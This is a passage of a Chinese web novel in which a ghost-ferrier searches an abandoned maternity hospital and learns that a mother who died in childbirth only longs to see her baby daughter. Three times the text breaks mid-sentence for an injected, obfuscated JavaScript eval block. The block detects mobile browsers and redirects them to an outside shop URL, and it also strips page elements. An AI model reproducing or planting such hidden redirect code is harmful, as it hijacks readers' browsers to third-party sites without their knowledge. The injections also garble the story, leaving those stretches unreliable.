钟槐的声音回荡在街道上:“你的好友申请我通过啦,很高兴和你成为朋友。” 白心抱着头盔,目送女侠潇洒远去,转过身,一栋破败的散发着蓝色光芒的医院赫然伫立。 她听见了。 医院的哭泣。 11.“哭泣”的医院(四) 员工手册第十三条:灵魂颜色越浅,执念越轻,可移动范围越大;反之,颜色越重,执念越深,可移动范围越小。 白心站在原地,看见前方的医院大楼散发出一种奇异的蓝色光芒。雨已经停了,大楼的窗户上却仍然有很多水滴,顺着墙壁一直往下流。 真的在哭泣。密密麻麻的窗户像一只只空洞的眼睛,不断有晶莹的水滴冒出来,然后流下去。大楼的哭声尖细又空旷,3D环绕般在白心的周围播放。 白心静静听了一会儿,确认哭声不是从某一个具体的楼层发出来的。 走吧。她想,去会会这个爱哭鬼。 她戴上头盔,手持哭丧棒,穿过残旧损坏的伸缩大门,一脚踏入了这片悲伤的土地。 员工手册第十四条:灵魂颜色越深,影响范围越大,通常为其死亡和执念所在之地。 看来C级灵魂的影响范围差不多也就一栋医院大楼的面积。白心沿着地面标识一路走,很快走到了住院部门口。 就是这里了。她看着触手可及的玻璃大门,上面泛着一层介于浅蓝和深蓝之间的光芒。 刚刚的帖子里也有人讨论这所妇幼保健院,白心看到有人说这所医院已经废弃半年,半年前全体人员都已经般至新的区域,拆除工作还没正式开始进行。 她的公司不在安宁区,她上班也不经过这里。她的出行轨迹基本是公司和家两点一线,除了打工就是吃饭和睡觉,累得根本没空关心外面的事。 自己活着都费劲,更不知道世界的迭代更新。她和很多人一样,在自己的安全屋和格子间之间打转,而地球如何运转,跟她无关。 医院更是很少来,小病扛大病死,这就是她的生存之道。头痛发热小感冒直接在某团下单药品送货上门就好,只要死不了,忍忍也就过去了。 妇幼保健院这种全是新生儿和产妇的地方则更是她的生活盲区。白心隔着玻璃门看着医院大厅随处可见的婴儿宣传图,不禁打了个寒颤。 这所曾经象征着新生和希望的医院,此刻毫无生命气息,呈现出一种衰颓残败的感觉。 而且,这里还有个死去的人的灵魂。 白心正了正头盔,推开大门,正式进入了医院内部。 大门“吱呀——”一声,被白心缓缓推开,一进入,白心就感觉到头顶有什么东西滴了下来。 她抬起左手一摸,凉凉的,有点黏。 员工手册第十五条:部分灵魂拥有特殊能力,通常为S级或潜在S级灵魂拥有,S级以下灵魂基本不具杀伤力。 白心看着手指间的透明液体,大拇指和食指并拢捻了捻。 应该是眼泪。 她抬起头,看见头顶的天花板正在慢慢往下滴水,不对,滴眼泪。 不知道的人会以为是天花板漏水吧。白心想,毕竟没有哪个正常人敢相信一栋楼会哭。 现在她知道黑无常嘴里那个被淹死的引渡人是怎么回事了,看这架势,真正的S级恶灵应该能哭出几个游泳池的水量。 不过她应该不会有事。白心朝着前方扶手电梯走去,毕竟只是C级灵魂,不会造成什么伤害。 就算是潜在S级,那也不是真正的S级。她还被公司评为年度最具潜力员工呢,还不是一样苦哈哈地在做外包。 “喂,”她站在电梯入口,抬起手腕朝手环喊道,“能找到任务目标现在在哪吗?” 视频里显示女鬼在3楼的走廊尽头,半个小时前开始移动,去向未知。不过应该跑不远,毕竟执念越深可移动范围越小,白心想,再跑也不会跑出这栋楼吧? 手环回答:“抱歉,只能判断出目标在此栋大楼里,具体位置无法知晓。” 不是有特殊雷达系统吗?白心皱眉,就这?找个鬼都找不到? 手环似乎知道她在想什么,继续说道:“当有新的灵魂进入时,雷达系统会暂时失效,无法定位到原目标。” 拉胯!白心呸了一声,该灵的时候不灵,和她公司老板一样没用! 算了。她放下手臂,就当玩真人版捉迷藏了。 在废弃的医院里和鬼玩捉迷藏,她想,她平淡苍白的人生也算有了浓墨重彩的一笔。 她想起黑无常给她看的亡魂图鉴里奇形怪状的鬼,还有白无常说的今后她会遇到更多奇怪的鬼——好嘛,做人基础,做鬼就不基础。 她即将迎来一个多姿多彩的鬼生。 唉,她叹了口气,右脚踏上扶手电梯的台阶,告诉自己这都是命。 先去304吧,女鬼之前就在那个地方,先去看看怎么回事。 电梯上布满灰尘和蛛丝,白心每踩一步都发出“嘎吱”一声,似乎随时会踩塌似的。冷风从四面八方吹来,直往白心的脖子后钻,冰凉的水和寒冷的风一齐扑在她的后背上,她边走边打哆嗦。 早知道就多穿点了。白心无语,谁知道鬼也怕冷。接了任务急匆匆出门,身上就穿着一件短袖,此时此刻真是透心凉。 还好有头盔。白心又摸了摸头盔,想起钟槐天真的微笑,心里莫名有了一丝安慰。 慷慨的关系户。她想,关系户常见,有钱人也常见,有钱却大方的关系户却不常见。 劫富济贫,真是一位好女侠! 她边走边想着钟槐,不知不觉就走完了台阶,抬头一看,已经到二楼了。 一上来,白心就有种奇怪的感觉。 她环视一圈,四周依然昏暗,安全标志散发着幽幽绿光,天花板和墙壁还有地板都泛着淡淡蓝光,勉强照亮路况。 住院部内部整体不大,她的左边、右边和前面都有一条走廊,每条走廊都望得到尽头,蓝光绿光交错,竟有种温馨静谧的感觉。 静谧。 不对。白心的后背突然冒出一层冷汗,太安静了。 哭声停止了。 她抬起头,天花板也没滴水了。 怎么回事? 白心赶紧问手环:“目标又移动了吗?” 手环立即回答:“没有呢主人,目标依然在大楼里。” 呼,白心松了口气,刚松懈一秒却又顿感不对:她一进来就不哭了,这是不是意味着…… 女鬼已经发现她了? 她的胳膊突然冒出一层鸡皮疙瘩,密密麻麻层不出穷,沿着双臂一路爬到她的头顶,在头皮顶端放烟花。 她保持着刚上来的姿势站在电梯出口,右手拿着哭丧棒,后背已经汗湿一片。 冷风还在她脖子后面吹着,她咬紧牙关,猛地回头一看。 什么都没有。 她站在高处,一楼大厅尽收眼底,除了那些宣传图片上的婴儿和女人,她没看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725506|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任何一个像人的东西。 但她不敢松懈。因为她现在是一个扭头的姿势,一旦她的头扭回来,不出意外的话就会遇到一个突脸的鬼。 恐怖片里不都这么演的吗。 她闭上眼睛,缓缓把头转回来,再尝试性地慢慢睁开一只眼睛。 还是什么都没有。 她两只眼睛完全睁开,左看右看,在她扭头回看的这十几秒内二楼也没发生任何变化。 还好。她终于松懈下来,这不是个爱捉弄人的鬼。 后背已经完全汗湿,她终于迈开步子,走向通往三楼的电梯。 手环似乎是感知到了她的紧张和恐惧,突然说话:“亲爱的主人,让我为您唱一首歌壮壮胆吧~” 没等白心回应,手环又自顾自唱起来:“叠个千纸鹤,再系个红飘带,愿善良的人们天天好运来~” 白心被手环突然的动静吓个半死,本来没什么事也差点有事,她没好气地喝道:“别唱了!” “好吧,”手环委屈地回答,“要是您想听,我随时可以为您歌唱。” “我不想听。”白心边走边说。 人听不见,鬼听得见,她可不想因为一首好运来把她的霉运招来。 先不说扰民,要是那只鬼偏偏就不喜欢好运来怎么办?进一步讲,在一个悲伤的鬼面前唱好运来,这合适吗? 进一万步讲,这些鬼都是已死之人,给死人播放好运来,白色的鬼都得变成红色。 她无语地往上走着,心想写出这个程序的人真是脑子瓦特了。 但不得不说,刚才手环莫名其妙一通演唱,她倒真是没那么害怕了。 这就是正能量歌曲的威力吗? 她突然想起八岁的时候,母亲因为要外出工作,把她放在舅舅家寄养了一段时间。那时舅舅正在盖新家,一栋五层高的带阳台小洋房,还在毛坯状态,每晚她都要去里面的顶楼洗澡。 她没有手机,只能带一支手电筒。她左手提着洗漱用品,右手打着手电,独自上楼洗澡。 半夜十一点,她从一楼向上爬,咬着牙无视从窗户洞口和深不见底的电梯井朝她吹来的风,一路闷头走,成为钢筋水泥中唯一的血肉。 她的手电筒光柱永远朝着前方,因为她害怕乱晃就会看见什么可怕的东西。就这样,上到顶楼通常已经是一身汗,洗完澡出来重复一次这个过程,下到一楼仍然是一身汗,跟没洗一样。 偶尔有塑料袋吹过,小小的她会吓得两腿发颤,如同一只惊弓之鸟,任何一点动静都会让她紧绷颤抖。 于是她给自己唱歌壮胆。八岁的年纪,没有手机,市面上大部分流行歌曲都没听过,只会唱她看过的《西游记》动画片里的插曲。 什么妖魔鬼怪,什么美女画皮,什么刀山火海,什么陷阱诡计,都挡不出火眼金睛的如意棒——护送师徒朝西去。 ——那个时候,她就已经与想象中的鬼神交过锋了。 白心的脚步突然轻快,她忽然觉得周围的一切都没那么阴森恐怖、马上要见到的女鬼也没那么可怕了。 因为她早就战胜过黑暗了。 她三步并作两步,在电梯上快速攀爬着,最后一个大跨步,一鼓作气到了三楼。 她喘着气,根据前方墙壁上的指示牌向右看去——304就在那里。 12.“哭泣”的医院(五) 白心把气喘匀,慢慢朝304走去。 这一层是产科病区,白心看得很清楚,304所在的位置就在产科一区。 有了刚才手环给她唱歌壮胆,她现在已经完全不害怕了,只想着怎么迅速找到任务目标,好快点把她的888功德点拿到手。 产科,她想,莫非是个产妇? 白心边走边想,突然一阵风刮来,她狠狠打了个寒颤。 她刚刚惊吓过度出了一身汗,此时整个脑袋在头盔里又闷又热,身上的衣服却被汗浸湿又冰又凉,狗皮膏药似的贴在身上,冰火两重天让她十分难受。 员工手册第十条:灵魂脱离肉身后,不再受客观环境因素干扰,除非进入其他灵魂的场域。 白心边走边把贴在后背上汗湿的衣服往后扯,心想这还只是下眼泪,这要是下刀子她还不得被扎成刺猬啊。 很快,她走到了304门口。 304大门紧闭,里面情况未知。 这医院一定很老了,白心看着那个已经生锈的门把手想,怪不得要全体搬迁呢,从外到里都是一副危楼的样子。 她把手放在把手上,轻轻往下一按—— 门开了。 什么都没有。 病房不大,白心站在门口,看到里面一共只有两张病床,其中一张床上面还有被子,旁边的柜子上有一些生活用品,另一张床则完全是个空架子,毫无使用痕迹。 她走到那张尚有入住痕迹的病床前,弯下腰查看床尾处的病人信息。 还是什么都没有。那块本应该放着病历卡片的凹槽里空空如也,连张白纸都没有。 啧。 白心啧了一声,直起身来,抬起手臂问道:“任务目标是否已经完成身份认证?” 白无常说过,所有亡魂必须要经过认证确认身份才能进入轮回系统,而认证环节一般都由引渡亡魂的人顺便完成。 手环立刻回答:“已认证,姓名刘晓希,30岁,死因难产,功德为1394点。” 刘晓希?白心放下手臂,想起在马路上看的那个帖子,这个名字好像在里面出现过。 只不过大家都在讨论这个亡魂难以沟通,没人关心她叫什么,连白心也是,光顾着找对方的执念到底是什么了,完全没想过她到底是谁又因何而死。 但是既然已认证,就说明已经有拘魂使和她交流过了,不然根本无法确认她的身份。 但是除了这些,她的一切又无从得知。也就是说,除了个人信息,她什么也没告诉别人。 白心想到帖子里说的,她一直哭,哭得都没办法和她沟通,问什么也不回答,不久后,她的执念就由B级变成C级了。 没人知道她的执念。 刘晓希。白心皱眉,脑袋里回荡着刚刚手环告诉她的这个名字。她和拘魂使沟通过后停止沟通——是不是说明,她也曾寄希望于某个前来引渡她的人? 白心还在思索,突然觉得有点不对劲,回头一看,病房的门不知道什么时候关上了。 哭声重新响起,上下左右包围着白心,甚至比之前更大了。天花板又开始滴水,下雨似的滴在白心的头盔和身上。 她果然被发现了。 要快点找到刘晓希。 白心快速走到门前,打开门回到了走廊上。她向右看,走廊尽头处的地上有一小滩水,镜子似的反射着光芒。 那是刘晓希之前站的地方。白心走了过去,和视频里刘晓希的姿势一模一样站着,她向下看,那汪清澈的眼泪里倒映着她的脸。 不对—— 白心看到自己的脸开始慢慢缩小,头盔没有了,头发变得稀薄细软,牙齿全部消失,皮肤也白净细腻了许多——她变成了一个婴儿。 婴儿! 白心脑子里叮的一声,像有闪电划过般亮了一下,她抬起头,转身就跑—— 难产,刘晓希死于难产! 她边狂奔边想,刘晓希的执念一定是她的孩子! 白心把哭丧棒收进手环里,两只手用力摆动奔跑,双脚溅起一片水花,离弦之矢般穿梭在楼道里。 一楼指示牌写着,新生儿科病区在六楼。 空旷的大楼里回荡着白心的奔跑声,她一口气窜上六楼,捂着胸口停在六楼电梯入口,抬起头看着头顶的指示牌:新生儿科病区。 她的左边、右边和前面依然各有一条长廊,她喘着气,目光扫过每条走廊。 没有刘晓希的身影。 但她知道她一定在这里。 头顶依然在滴水,每一滴都像一粒豌豆砸在她的头盔上,白心感觉到这眼泪雨越来越大,鞭炮一样在她的头顶噼里啪啦。 整个六楼都散发着一种浓重的蓝色光芒,比她在外面和三楼看到的颜色还要深几个度。 员工手册第十一条:越靠近灵魂本体,看见的颜色越接近其本身颜色。 手环猛地一震:“任务目标已升至D级,请注意安全。” 糟了。白心听见手环的提示,心想刘晓希的升级速度竟然这么快,再不快点找到她,万一在这里变成了S级—— 她可不想成为第二个被眼泪淹死的引渡人。 她向左边的走廊跑去,把每个房间都打开看了一遍,又跑到中间的走廊看了一遍,最后跑到右边的走廊看了一遍。 还是没有。 她站在走廊尽头的最后一间病房里,面对着一排排新生儿保温箱心乱如麻。 头顶的雨越来越大,刘晓希的眼泪越来越汹涌,白心已经被完全浇透,她低头,看见脚下的水已经汇成了一条河流,没过了她的脚踝。 哭声三百六十度将她包裹,似乎要把她吞没在这浓浓的悲伤里。 豁出去了。她想,只能用这招了。 白心咬着嘴唇,下定决心,紧握双拳,气沉丹田,用全身的力气大声喊道: “刘——晓——希———” 眼泪雨并没有停止,哭声也还是那么悲伤,白心的呼喊瞬间淹没在这永无止境的哭泣里。 她不死心般地又喊了一遍:“刘——晓——希———” “刘——晓——希———” 小时候她妈就是这么喊她吃饭的。无论当时她在干什么,听到这种撕心裂肺的呼唤都会猛地一颤。这种不要命似的呼喊似乎会让人产生一些生理性的反应,难受又别扭,让人无法忽略。 她喊了一遍又一遍,终于在喉咙快要撕裂的时候,围绕着她的哭声小了一些。 有效。 她扯着喉咙继续喊道:“我叫白心,是来带你回地府的!” 终于,头顶的眼泪好像屈服了一般逐渐变小,慢慢趋于停止。 白心握着拳头,乘胜追击, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734595|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续大声说道:“我是来帮你的,请你相信我!” 不要再哭了,她想,再哭她就要打电话让钟槐开船来了。 白心站在原地,淋得像只落汤鸡,只有戴着头盔的脑袋幸免于难,她抹了一把目视镜,视野立马清晰,她看见角落里有个婴儿保温箱亮得出奇。 她迅速跑到保温箱面前,里面仍然空无一物,但是—— 她弯下腰,在侧面看到了一张贴在保温箱上的贴纸,上面写着一个名字:念念。 就是它,白心明白过来,这就是刘晓希孩子的保温箱。 白心直起身,听见哭声已经完全停止了,低头一看,泪河的水位线已经涨到她的小腿肚了。 这就是矮个子的劣势吗,她想,因为矮,淹死得都比别人快些。 “念念是你的孩子吗?”白心的双腿站在水里,双手搭在保温箱上,对着空气说话。 瓮中捉鳖不成,那就只能守株待兔了。 没有人回答。 她继续说道:“你很想她,是吗?” 念念的名字旁边印着性别,是个女孩。 30岁,死于难产,还是个新手妈妈。白心想,女儿的人生才刚开始,自己的生命就结束了。 刘晓希自己的人生又何尝不是才开始。 她大概知道刘晓希的执念是什么了。 “你帮不了我的。” 身后传来一道很轻,很轻的声音。 白心的背一瞬间绷直。来了,她想,刘晓希终于来了。 她慢慢转过身,朝着声音的来源看去,看见一个泛着蓝光的身影出现在门口。 刘晓希还是说道:“你帮不了我的。” 白心完全转过来,艰难地咽了口口水,额头冒出密密麻麻的汗。 她站在保温箱前,刘晓希站在病房门口,两人之间的距离不到五米,她却不敢朝她走过去。 刘晓希是背对着她的。 刘晓希和视频里一样,穿着一身病号服,长发凌乱地披在身后,双腿垂在大腿两侧,一动不动。 没有再哭,只是不断重复着那句话。 饶是做好了心理准备,白心还是觉得瘆人。刘晓希的执念已经升级,而执念越深越不好交流,更别说她本来就不愿意和别人沟通。 “你怎么知道我帮不了你?”白心问道。 不能让话掉下来,她想,一旦停止对话刘晓希又会陷入悲伤,要再争取沟通的机会就更难了。 她绞尽脑汁,脑子里闪过什么高情商对话、如何有效沟通等成功学书籍,但是她每每看到第一页就睡着了,一句高情商话术都没学到。 死嘴快说啊!她在心里骂自己,憋了半天,终于憋出一句:“我是地府的关系户,钟馗是我爷,我可以帮你!” 抱歉了钟槐,白心想,借你的身份先解决一下燃眉之急。 毕竟没有人能拒绝关系户的帮忙。 听见白心的话,刘晓希终于停止了自言自语,陷入了沉默。 果然有效,白心盯着刘晓希的背影,心说这招真好使,平A骗大招。 刘晓希突然轻声一笑。 白心脑子一抽,以为自己听错了,还没反应过来,刘晓希就又说道:“你帮不了我的。” 她语气平静,带着一丝轻蔑的笑意:“你们整个地府,没有一个人帮得了我。” 13.“哭泣”的医院(六) 员工手册第八条:所有引渡人子时开始执行任务,卯时必须回到地府,不可在人间逗留。 白心看了一眼手环,已经三点半了。 离六点只有两个半小时了。黑白无常告诉她,她的灵魂会在白天回到身体里。 要加快速度了。白心看着刘晓希的后背,紧紧咬着嘴唇,等待着她继续说。 刘晓希轻蔑一笑,说完,白心惊奇地看到包裹着刘晓希的那层蓝光里,浮现出一抹淡淡的红色。 员工手册第九条:灵魂颜色并非一成不变,若其执念发生变化,对应颜色也会变化。 红色,代表愤怒。 她在生气?刘晓希依然背对着白心,看不见表情,但身上的光芒却越来越强烈,红色从里向外扩散,逐渐侵蚀那层蓝色。 白心站在泪河里,突然觉得双腿有点热。 水升温了。 “等等!”白心紧急喊道,“你先别生气!” 她大声说道:“我有办法!” 刘晓希停了一下,不再继续散发红光,她慢慢转过身来,缓缓抬头看向白心。 白心这才终于看清刘晓希的脸。脸庞很清秀,甚至有点稚嫩,两只眼睛又红又肿,应该是哭了太久的缘故。 并不恐怖,只是狼狈。 才30岁。白心想,也就比她大五岁。她尚且觉得自己还没完全长大,刘晓希又能比她成熟到哪去呢。 白心和她四目相对,抬起左手手臂,右手手指一抹就打开了手环,一道投影瞬间出现在两人中间。 还好鬼看得见。白心熟练点开那张通讯录,庞大又清晰的地府组织架构瞬间出现在屏幕上。 白心隔着屏幕看着刘晓希红肿的双眼:“你想找谁,我现在就帮你打电话。” 这可是白无常亲口说的。白心想起他的话,如有需要,可直接打开通讯录联系到每个人。 虽然不知道刘晓希到底有什么诉求,但是地府有那么多神通广大的鬼神,总不至于没有一个能解决她的问题吧。 除非每个领导都是吃干饭的。 就算她想起死回生,白心想,那也得跟阎王沟通了再说。 越级汇报也忍了,她咬紧牙关,大不了被批一顿,扣点绩效,下不为例,通报批评。 反正她早就习惯了。 刘晓希看着那张巨大的通讯录,上面的名字琳琅满目,她一个都不认识。 她透过屏幕看着白心,觉得这个人怎么这么执着,想要解决她的问题。 这半年陆陆续续来了很多想带她回去的人,高的矮的胖的瘦的,男的女的老的小的,没有一个人像她一样这么执着。 最开始来的是个高大健硕的男的,她以为见到了救星,可是他一听见她的要求就跑了。 后面又来了几个,都摇头说帮不了她。到最后她懒得说了,只是一味地哭,那些人看见整个医院也在哭就都吓跑了。 她又能做得了什么呢?刘晓希看着白心,心想,她这么瘦小。 她的眼泪已经没过了她的小腿,只要再哭一次,就能把她淹死。 唉。她轻轻地叹了一口气。 白心还在等着刘晓希开口,就看见她突然叹了口气,周围的红光渐渐变淡了,重新变成了那股悲伤的蓝色。 “你怎么了?”白心疑惑地问道,“是上面没有你想找的人吗?” 不可能吧?她想,这里面还有地藏王菩萨呢,还有菩萨搞不定的事? “我想见我的女儿。” 刘晓希突然说。 白心一瞬间以为听错了,“什么?” “我想见她,”刘晓希伸出手指了指白心身后的保温箱,“我想见念念。” 白心确定自己没听错,她的诉求是想见自己的女儿念念,但是——这有什么难的啊?! 不是,白心觉得有点头晕,这么简单的要求,至于又刮风又下雨的吗?还差点把她淹死? 她之前大概猜到了,刘晓希的执念是她的孩子,只是不知道具体是什么。还以为是什么难于登天的要求,结果只是想见一面? 刘晓希却又叹了口气,放下手说道:“我没办法离开这里。” 什么意思?白心看着她,皱着眉问道:“你是说,你无法离开这个医院吗?” 刘晓希点了点头。 对啊,白心突然想起来,执念越深可移动范围越小,而灵魂通常都是在自己的死亡之地徘徊。 刘晓希被困在这个医院里了。 不对啊,她又想到,就算不能离开医院,那也可以让人拍照片,或者拍视频给她看啊。 这手环这么高级,拍个视频总不难吧?她只是想见自己的女儿一面,这个要求很难吗? 白心问道:“是他们不肯帮你吗?” 她想不明白,这么简单的要求为什么没有人答应。 刘晓希却摇摇头:“是他们帮不了。” “为什么?”白心是真好奇了,就算让她现在去她家给念念拍一百个视频都没问题。 刘晓希双眼通红,悲伤地看着她:“我死的时候,只见了念念一面。” “医生抱给我看的时候,我已经快不行了,”刘晓希继续说道,“我只记住了她刚出生的样子。” 白心皱眉,突然想起自己在三楼那滩眼泪里看见的那个婴儿,确实是刚出生的模样。 “我还想看见她更多的样子,”刘晓希语气哽咽,微微啜泣,“不然我无法安心离去。” 她的眼里盛满泪水,白心感觉到天花板好像又开始滴水了,一滴一滴慢慢砸在她的头盔上。 半年。白心想,刘晓希困在这所医院半年了,念念也应该六个月大了。 她明白刘晓希为什么这么悲伤了。 如果这所医院没有搬迁,念念出生后过来做检查,她或许还能见到她,但是医院已经废弃了,她只能日复一日地守在这里,在自己的眼泪里思念记忆中念念的模样。 她无法想象念念长大的模样,因为她根本见不到她,所以念念在她的眼泪里一直是刚出生的样子。 “我想看见她哭,她笑,”刘晓希哭了起来,“我还想听见她叫妈妈。” “我想看她吃饭,睡觉,我想看她的小手和小脚,想看她躺在婴儿车里晒太阳。” 第一次说出这个要求的时候,来接她的男人摇摇头,什么都没说,抽了支烟直接跑了。 第二次来的是个小孩,七八岁的样子,听见她的要求瞪大了眼睛,说姐姐你在开玩笑吗。 第三次是个四十多岁的中年女人,同为母亲,听完后和她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740367|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样哭了起来,说她天亮就要回去,帮不了她。 之后来的每一个人,都说不行,没办法,能力有限,我们是鬼,没办法在白天出没。 她渐渐失望,不再寄希望于这些人,后来她发现,她竟然能在自己的眼泪里看见念念。于是她天天哭,就能天天看见念念。 她沉溺于这种悲伤和痛苦,只要能见到念念,她把眼睛哭瞎都可以。但是——总有人过来,想要带她走。 每过来一个人,都会让她的痛苦更深一分,提醒着她无法再见到念念。她的痛苦越深,执念就越深,执念越深,眼泪里的念念就越清晰。 她完全活在执念中了。 所以她不想走,甚至对来接她的人产生了敌意,经常下眼泪雨吓唬闯进她执念的人。 可是——她没想到,今天来的这个人,竟然如此执着,怎么赶也赶不走。 她吓她,朝她脖子吹气,她也只是缩缩脖子继续往前走;她流下眼泪,她竟然顶着大雨开始狂奔;她想淹死她,她居然说想要帮她。 又来了,这种带给她希望又掐灭的人又来了,又要让她痛苦,告诉她她没办法见到念念了。 所以她感到生气。 白心关掉手环,看着面前这位哭得十分伤心的年轻母亲,表情严肃,认真说道: “我帮你。” 她终于知道为什么其他引渡人帮不了她了。黑无常说过,引渡人是还没到投胎时间的亡魂,捉鬼师是人间具有特殊能力的人。 捉鬼师不管S级以下的灵魂,而引渡人是无法在白天的时候现身的。 员工手册里还写着,只有正式编制的拘魂使才能二十四小时回收亡魂,比如黑白无常,其他临时工是不可以随意出入人间和地府的。 而黑白无常忙得根本没空管她。 “我帮你,”白心又重复了一遍,“我真的可以帮你。” 这次不是平A骗大招了,而是真心换真心。白心从未想过,自己作为地府第一个搞坏轮回系统的人,竟然也有把bug变成gift的一天。 命运跟她开的一次玩笑,竟然成为了拯救一位母亲的契机。 谁说bug一定不好了?她就是个好bug! 刘晓希边哭边摇头:“你们白天就要回去了,根本见不到念念。” 白心的头上又开始下瓢泼大雨,但她的心情却早已雨过天晴。哈哈,没想到吧,我不仅能见到念念,我还可以跟她说话! 不对,念念应该还不会说话吧?六个月大的小孩会说话吗? 她笑得十分灿烂,从来没这么开心过:“我其实不是人。” 刘晓希的哭声停顿了一下。 呸!白心甩甩头,怎么这个时候嘴瓢,她重新说:“我其实不是鬼。” “也不能这么说,”她想了一下,尽量用词精准,“我白天是人,晚上才是鬼。” 刘晓希抬起头来,那双红得像兔子的眼睛看着白心,似乎没听懂她的话。 水位线已经涨到了她的膝盖,白心迈开双腿,划开水面,艰难地朝刘晓希走过去。 很快,她就走到了刘晓希的面前,她们之间只有一拳的距离了。 她抬起双手,抱住刘晓希的双臂,盯着刘晓希的红眼睛,认真说道:“我帮你去看念念。” 14.“哭泣”的医院(七) 头顶的雨停了,刘晓希低头看着这个比她矮小很多的女孩,心想这怎么可能呢。 她有听来接她的人说过,地府是有一种人,白天是正常人类,晚上专门出来捉鬼。 但是那些人都武力超群,而且专捉恶鬼。 而这个人这么弱小,这么不堪一击,瘦得风一吹就要倒了,雨再大点就能淹死了。刘晓希想,她竟然说可以帮自己去看念念,这怎么可能呢。 最绝望的时候,她想过要不要杀死一个来的人,彻底变成恶鬼。这样她就有机会见到那些能够在白天出没的人了,或许求求他们,还能看见念念最后一面。 但她总是下不去手。 看见男人,男人马上就跑了;看见女人,她会想她也是某个孩子的母亲;看见小孩,她总会想到念念长大的样子。 现在终于来了个比她小的女孩,刘晓希看着白心坚定的眼神,突然又哭了出来。 这个女孩竟然说可以帮她。 白心还在等着刘晓希回答,就看见她突然哭了,头顶又开始下雨。 “不许哭!”白心大声喝道,声势把自己都吓了一跳。 刘晓希立马止住了哭声,被白心的这一声吓得愣住了。 “不好意思啊,”白心尴尬地笑了一下,“吓到你了。” 她的双手从刘晓希的双臂滑下来,一路滑下去,握住了刘晓希的双手。 凉凉的,和她一样。白心看着那双纤细苍白的手,心想这双手竟然没有机会抚摸自己的孩子。 她抬起头,重新看着刘晓希的眼睛,笑着说道:“告诉我念念住哪,我白天就去看她。” 是真的。刘晓希终于相信面前这个人不是在说胡话和骗她了,她真的可以见到念念。 她叫什么,白心?她想起在她彻底想要淹死她的时候,这个女孩突然开始在大雨里呼唤她,还进行了自我介绍。 她是第一个告诉她自己名字的人。 每一个来的人都会问她的名字,死因是什么,你想要什么,她也不断地告诉别人自己叫刘晓希,死于难产,想要看见念念。 没人告诉她自己叫什么,只是一味地想要带她走,好像不想在她身上多浪费一秒时间。 没人在乎她是谁。 “谢谢你,”刘晓希看着握着她的那双手,嘴角往下一瘪,“白心。” 白心看她又要哭的样子,赶紧制止:“不许哭!” 刘晓希也梅开二度地被吓了一跳。 不得不承认,小个子爆发力还是很足的。刘晓希在惊吓中想,白心的嗓门真大啊。 连她在下暴雨、沉浸式悲伤的时候,都无法忽略白心在雨中那撕心裂肺的呼喊。 “能别哭了吗?”白心快没招了,求饶道,“我真的有点冷。” 刘晓希抬起头来,这才看到白心身上的衣服已经全部被她的眼泪浇湿了,此刻正在冷风中瑟瑟发抖。 “对不起,”她道歉,“我们去三楼吧。” “三楼?” 刘晓希点点头:“304是我的病房。” 果然,白心想,她就知道304肯定是刘晓希生前住的地方。 “那你的病历卡片呢?”白心又问道,“我找了半天都没看见。” “我扔掉了。” 刘晓希终于恢复平静,“我不想他们找到我。” 白心不解:“他们?” “就是想要带我走的人,”刘晓希回答,“他们越是想找到我,我就越不让他们找到。” 白心一愣,一时不知道该说什么。 刘晓希微微一笑,透过头盔看着白心的眼睛:“我知道你也是来带我走的,但是我跟你走。” “谢……谢谢。”不知道说什么,那就道谢吧。 “你是个好人,”刘晓希说道,“你很善良。” “你会有福报的。” 福报?白心想起了自己那-99999的功德,突然像气球泄了气一样浑身无力。 这样就有福报的话,她不敢想上辈子自己是干了什么作恶多端的事。 毕竟这一世她虽然对世界也没什么好脸色,但还是该帮的帮,该做的做,她救助过动物、援助过山区女孩、公交车上让座、扶老奶奶过马路、甚至帮楼下的流浪老奶捐过矿泉水瓶。 不敢说做了什么天大的好事,好歹也是心存善念、怜弱扶小,而且都是发自内心的。 “呵呵,”白心干笑一声,“走吧。” 或许福报就是个笑话。她想,善有善报恶有恶报这种事,或许本身就不存在,只是人们安慰自己的一种说法而已。 毕竟多少做了恶事的人都逍遥法外,甚至儿孙满堂、幸福美满,而很多善良的好人都过得很差,像她一样生活都困难。 或许真是系统的错误,她想,或许她只是倒霉。 白心牵着刘晓希的手就往走廊走,刚走出两步刘晓希就不走了,白心回头看她:“怎么了?” 刘晓希的左手往下指了指:“这么多水,怎么走?” 白心低头一看,确实,水已经到她的膝盖了,走起来十分艰难。 “没事,”她说,“勉强能走。” 有BUG没关系,只要程序能运行,就当BUG不存在。就和她的人生一样,只要死不了,就凑合过呗。 